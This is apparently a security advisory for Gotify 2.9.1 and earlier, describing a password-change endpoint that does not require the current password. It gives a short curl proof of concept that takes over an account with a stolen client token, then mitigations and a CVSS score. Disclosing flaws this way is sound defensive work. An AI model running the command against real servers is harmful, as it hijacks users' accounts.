The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.
// poc# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"
curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK// mitigation- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
- Restrict access to the state-changing endpoints under /user and /current/user to trusted networks.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- Low
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None